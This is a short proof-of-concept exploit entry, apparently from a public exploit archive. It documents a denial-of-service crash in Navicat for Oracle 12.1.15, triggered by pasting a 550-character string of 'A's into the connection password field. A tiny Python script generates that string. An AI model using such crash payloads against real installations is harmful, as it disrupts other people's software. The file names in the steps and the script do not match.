#Exploit Title: Navicat for Oracle 12.1.15 - "Password" Denial of Service (PoC)#Discovery by: Victor Mondragón#Discovery Date: 2019-02-14#Vendor Homepage: https://www.navicat.com/es/#Software Link: https://www.navicat.com/es/download/navicat-for-oracle#Tested Version: 12.1.15#Tested on: Windows 10 Single Language x64/ Windows 7 x64 Service Pack 1#Steps to produce the crash:#1.- Run python code: Navicat_for_Oracle_12.1.15.py#2.- Open code.txt and copy content to clipboard#2.- Open Navicat for Oracle 12.1.15#3.- Select "Conexión" #4.- Select "Oracle"#5.- In "Nombre de conexión" type "Test"#6.- In "Tipo de conexión" select "Basic"#7.- In "Host" type 1.1.1.1#8.- In "Puerto" type "1521"#9.- In "Nombre del servicio" type ORCL#10.- In "Nombre de usuario" type "user"#11.- In "Contraseña" Paste Clipboard #12.- Select "Aceptar"#13.- Crashed
cod = "\x41"* 550
f = open('string.txt','w')
f.write(cod)
f.close()